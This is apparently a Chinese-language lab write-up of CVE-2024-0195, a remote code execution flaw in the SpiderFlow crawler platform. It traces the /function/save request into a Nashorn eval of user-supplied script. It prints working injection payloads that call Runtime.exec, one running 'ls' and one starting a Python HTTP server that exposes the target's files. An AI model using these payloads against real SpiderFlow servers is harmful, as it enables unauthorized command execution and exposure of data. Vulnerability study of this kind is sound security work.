CVE-2024-0195
https://yunjing.ichunqiu.com/cve/detail/1114
| 1
 | SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器
 | 
按照介绍访问/function/save界面,发现是一连串的java报错

在html中寻找,自定义函数-添加函数这里,会发送/function/save这个请求
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | layui.form.on('submit(save)',function(){$.ajax({
 url : 'function/save',
 type : 'post',
 data : {
 id : fId,
 name : $("input[name=name]").val(),
 parameter : $("input[name=parameter]").val(),
 script : editor.getValue()
 },
 success : function(data){
 if(data){
 var message = data.replace(/\n/g,'<br>').replace(/ /g,' ').replace(/\t/g,'    ');
 layui.layer.alert('<div style="font-weight: bold;font-family:Consolas;font-size:12px;">' + message + '</div>',{title : '保存出错',area:['800px','400px']});
 }else{
 layui.layer.msg('保存成功',{
 time : 800
 },function(){
 location.href = 'functions.html';
 })
 }
 },
 error : function(){
 layui.layer.msg('请求失败');
 }
 })
 return false;
 }
 
 | 
从js代码可知,post过去的三个参数,name,parameter,script三个参数就是添加函数这个界面里自定义的三个参数
但是不知道这些东西发过去会被如何使用,好在这个SpiderFlow是开源的,并且停更前最后一版的版本就是靶机使用的0.5.0:https://github.com/ssssssss-team/spider-flow
直接在库里search哪里处理这个请求,在FunctionController.java里:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | @RestController@RequestMapping("/function")
 public class FunctionController {
 @Autowired
 private FunctionService functionService;
 ...
 @RequestMapping("/save")
 public String save(Function function){
 return functionService.saveFunction(function);
 }
 ...
 }
 
 | 
说是这个请求会调用saveFunction处理(Function对象包含上传的name,parameter,script三个参数)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | public String saveFunction(Function entity) {try {
 ScriptManager.validScript(entity.getName(),
 entity.getParameter(),entity.getScript());
 super.saveOrUpdate(entity);
 init();
 return null;
 } catch (Exception e) {
 logger.error("保存自定义函数出错",e);
 return ExceptionUtils.getStackTrace(e);
 }
 }
 
 | 
validScript:
| 12
 3
 4
 
 | public static void validScript(String functionName,String parameters,String script) throws Exception {new ScriptEngineManager().getEngineByName("nashorn").
 eval(concatScript(functionName,parameters,script));
 }
 
 | 
通过eval函数,把三个参数通过concatScript连接成js代码,然后用eval执行
concatScript会自动将script作为一段函数内的代码,在其前后添加{}
比如输入一个},会报错:

从这里可以看到最终拼接的js代码的形式,而如果代码放在函数里是执行不了的,所以可以通过}{来搞一段函数外的代码
| 1
 | }Java.type('java.lang.Runtime').getRuntime().exec('ls');{
 | 
然后试了一下,直接保存成功,没有任何回显
从最前面的js代码可以看到
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | success : function(data){if(data){...
 }else{
 layui.layer.msg('保存成功',{
 time : 800
 },function(){
 location.href = 'functions.html';
 })
 }
 
 | 
如果保存成功,是不会传回来任何data的,也就是说虽然有了执行任意命令的权限,但是没法回显
这种时候最应该想到的方法,就是反弹一个shell到自己的机器上,这也是网上能找到的题解大多数的做法,但是我没有公网ip😶🌫️
公网ip比租一会云服务器贵多了😶🌫️
最终是通过开一个python的http服务,然后没有index.html时,就会自动显示文件系统
| 1
 | }Java.type('java.lang.Runtime').getRuntime().exec('python3 -m http.server 80');{
 | 
端口似乎还选不了别的,应该是其他端口会被屏蔽,
